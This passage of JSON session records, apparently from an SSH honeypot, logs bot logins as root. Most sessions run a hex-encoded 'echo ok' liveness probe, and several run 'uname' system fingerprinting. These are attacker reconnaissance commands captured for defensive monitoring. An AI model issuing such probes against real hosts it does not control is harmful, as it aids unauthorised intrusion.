  "id": "e2455d7b-7ba3-418b-8b31-9cd4f9b47019",
  "name": "hardy-dusty-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:25.931702+00:00",
  "ended_at": "2026-08-23T08:40:27.508878+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2a4eda2-95bc-4869-96fc-c533ebf96f0b",
  "name": "granite-dewy-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57222,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:23.928114+00:00",
  "ended_at": "2026-08-23T08:40:25.069951+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ddf88520-52f7-4c0b-b4da-918d81ec16d5",
  "name": "blazing-diligent-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:21.052890+00:00",
  "ended_at": "2026-08-23T08:40:23.298364+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "38422884-f3a9-437c-9f0c-c404b230c232",
  "name": "crisp-coastal-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:18.940012+00:00",
  "ended_at": "2026-08-23T08:40:20.363870+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "47a4e236-60d0-47c4-a687-7bfdbbc6146e",
  "name": "bitter-rugged-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:16.074963+00:00",
  "ended_at": "2026-08-23T08:40:18.298856+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e92a6c57-0a55-4cfc-b7be-a7b435ce0835",
  "name": "opal-oaken-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:13.323052+00:00",
  "ended_at": "2026-08-23T08:40:15.303695+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0f082d98-9e20-4402-8b2c-6a7f52ac2420",
  "name": "kindly-breezy-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:10.942779+00:00",
  "ended_at": "2026-08-23T08:40:12.530601+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "253d4d7f-3986-4ffe-ad5c-38be21bf8fde",
  "name": "shaded-jagged-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:08.265279+00:00",
  "ended_at": "2026-08-23T08:40:10.223456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23e3fe74-93c9-419e-946d-be5ffea780e2",
  "name": "plush-primal-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:06.313547+00:00",
  "ended_at": "2026-08-23T08:40:07.607006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a13c70f4-d51b-48d8-b2ff-5c7c88c53aee",
  "name": "jaunty-tidal-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:03.983290+00:00",
  "ended_at": "2026-08-23T08:40:05.520796+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28f51ddb-a3a6-4686-8c4c-afea031f2471",
  "name": "jagged-jolly-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:40:02.020543+00:00",
  "ended_at": "2026-08-23T08:40:03.327266+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d1204c2-22b0-4cfb-8df4-5ba5097e2a47",
  "name": "humble-hazy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47734,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:59.773289+00:00",
  "ended_at": "2026-08-23T08:40:01.253045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6feea1d4-c698-4fa8-9652-3c8666711cf2",
  "name": "emerald-thrifty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:57.343748+00:00",
  "ended_at": "2026-08-23T08:39:58.941862+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8629b2af-f3a1-4964-9368-1aa01260c059",
  "name": "blazing-rapid-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:55.123826+00:00",
  "ended_at": "2026-08-23T08:39:56.589472+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "265c192f-cb26-496d-84f3-01579144ca35",
  "name": "glassy-stoic-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:52.943969+00:00",
  "ended_at": "2026-08-23T08:39:54.508904+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98f6c094-46ee-4082-bd12-23b71f62ee2d",
  "name": "orderly-canny-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:51.294009+00:00",
  "ended_at": "2026-08-23T08:39:52.247902+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df681cc6-f1f5-496d-aa8b-7f944cd72862",
  "name": "noble-honest-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:48.372853+00:00",
  "ended_at": "2026-08-23T08:39:50.598064+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "efd1df2b-0630-48c1-bb26-a19e464f92f9",
  "name": "plush-chilly-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:46.154220+00:00",
  "ended_at": "2026-08-23T08:39:47.546706+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dfe0c1e9-3a9b-4251-ba3f-8e7fbcd39151",
  "name": "ginger-freckled-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:44.027490+00:00",
  "ended_at": "2026-08-23T08:39:45.431690+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8085a2c2-7378-463e-929f-267e3cdb7e34",
  "name": "downy-dewy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:41.405753+00:00",
  "ended_at": "2026-08-23T08:39:43.293595+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8285ae6e-4656-4fd1-bd4b-51c4b251f75b",
  "name": "marine-serene-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:39:39.887392+00:00",
  "ended_at": "2026-08-23T08:39:44.944890+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bdd55579-665e-431e-ab44-ebd4bc24ebe3",
  "name": "eager-lawful-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:38.789956+00:00",
  "ended_at": "2026-08-23T08:39:40.670489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d1884e1-75db-47ce-a491-9df4f2b57301",
  "name": "wooded-jaunty-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:36.731090+00:00",
  "ended_at": "2026-08-23T08:39:38.119424+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2798594-93a6-4a89-b15b-15d30222e2da",
  "name": "frank-zealous-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41824,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:34.014366+00:00",
  "ended_at": "2026-08-23T08:39:35.984642+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d081b7d-38ff-47d0-afd7-04a75a54ec0e",
  "name": "autumn-emerald-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:32.280054+00:00",
  "ended_at": "2026-08-23T08:39:33.315672+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "933ec032-fe27-4aca-ab02-390227e5f8b4",
  "name": "zealous-thrifty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:30.019627+00:00",
  "ended_at": "2026-08-23T08:39:31.532375+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "484bea95-a731-47ca-80d6-71188f0bfe8c",
  "name": "coral-jaunty-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:27.432230+00:00",
  "ended_at": "2026-08-23T08:39:29.230858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ec3cbcc-2759-4ed3-8002-49c8aa33fe5d",
  "name": "brave-cobalt-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:25.851809+00:00",
  "ended_at": "2026-08-23T08:39:26.745667+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4709fd29-14ec-4877-a9bb-6dae2ef2f84b",
  "name": "lanky-buoyant-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:23.380929+00:00",
  "ended_at": "2026-08-23T08:39:25.060466+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8615dada-4bd2-4fee-bf67-0fd5978cdd26",
  "name": "tawny-gritty-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:21.548871+00:00",
  "ended_at": "2026-08-23T08:39:22.511660+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a0b8db7-129c-4a68-ae72-ed6deeea49b0",
  "name": "vaulted-flinty-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:18.750506+00:00",
  "ended_at": "2026-08-23T08:39:20.794010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "acbecf79-3745-492b-b2bb-dbe2bcdcd6cf",
  "name": "jaunty-fickle-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:17.025076+00:00",
  "ended_at": "2026-08-23T08:39:18.099569+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5c5f85d8-0636-49e3-89fe-60876dad0306",
  "name": "whispering-vivid-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:14.494854+00:00",
  "ended_at": "2026-08-23T08:39:16.314005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "724f8c06-c048-4396-b62e-e5389bc2a497",
  "name": "jagged-noble-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:07.824017+00:00",
  "ended_at": "2026-08-23T08:39:13.742689+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2eb9fa2-c37f-448b-85a2-defc7c5d3b9d",
  "name": "western-gleaming-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:05.835168+00:00",
  "ended_at": "2026-08-23T08:39:07.020880+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07c7645f-95d1-4d31-a39a-ad4fe50ea765",
  "name": "slender-blazing-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:39:03.996813+00:00",
  "ended_at": "2026-08-23T08:39:05.091198+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c83bbdf-e8a8-4792-986b-ccf48a58e4d9",
  "name": "deft-keen-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:58.936185+00:00",
  "ended_at": "2026-08-23T08:39:03.225794+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8b5b4f6-694c-4afd-bab4-dc4792636c55",
  "name": "bitter-dusty-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:56.704627+00:00",
  "ended_at": "2026-08-23T08:38:58.293773+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96bfe8da-0fe0-4364-92de-f9269fcf44f7",
  "name": "shifting-hollow-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:54.826487+00:00",
  "ended_at": "2026-08-23T08:38:56.005523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c2e144d-28b4-4018-aba3-fdb725846af8",
  "name": "shaded-balmy-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:53.061055+00:00",
  "ended_at": "2026-08-23T08:38:53.985620+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e201d4e-928a-40f4-9b01-2baf5547d7f5",
  "name": "brave-ivory-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 40538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:38:50.572293+00:00",
  "ended_at": "2026-08-23T08:38:52.333938+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f33f56c4-4249-49da-9efe-3717f25272d0",
  "name": "glacial-knotted-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 169,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:38:49.478215+00:00",
  "ended_at": "2026-08-23T08:38:55.239605+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da8727ea-b2ae-42bb-bd32-fd19a3fe997c",
  "name": "fierce-steady-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40530,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:49.198731+00:00",
  "ended_at": "2026-08-23T08:38:50.262690+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5699c2e3-2da6-42ee-9a61-910072718f92",
  "name": "glassy-bitter-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:46.674250+00:00",
  "ended_at": "2026-08-23T08:38:48.410461+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ebe9143-f332-407f-9499-57035b6eb8c8",
  "name": "solar-lofty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:45.034581+00:00",
  "ended_at": "2026-08-23T08:38:45.944739+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3da25181-0d2d-4002-ad63-c9da2a5a256c",
  "name": "frank-drifting-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:42.456632+00:00",
  "ended_at": "2026-08-23T08:38:44.332968+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52c8818a-197b-4dd2-936f-5d6399efbf4f",
  "name": "marine-bronzed-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:38:41.255887+00:00",
  "ended_at": "2026-08-23T08:38:44.260695+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "844fba61-7a46-43d8-bcb3-ee92487230b9",
  "name": "frugal-jolly-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58760,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:39.413547+00:00",
  "ended_at": "2026-08-23T08:38:41.602451+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e688ee5d-d116-4c80-b396-7cc7bf8c8453",
  "name": "lawful-inland-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:35.234009+00:00",
  "ended_at": "2026-08-23T08:38:38.768106+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81929f8f-4fc8-40b3-b25b-6657fcd37b04",
  "name": "leafy-bashful-okapi",
  "protocol": "ssh",
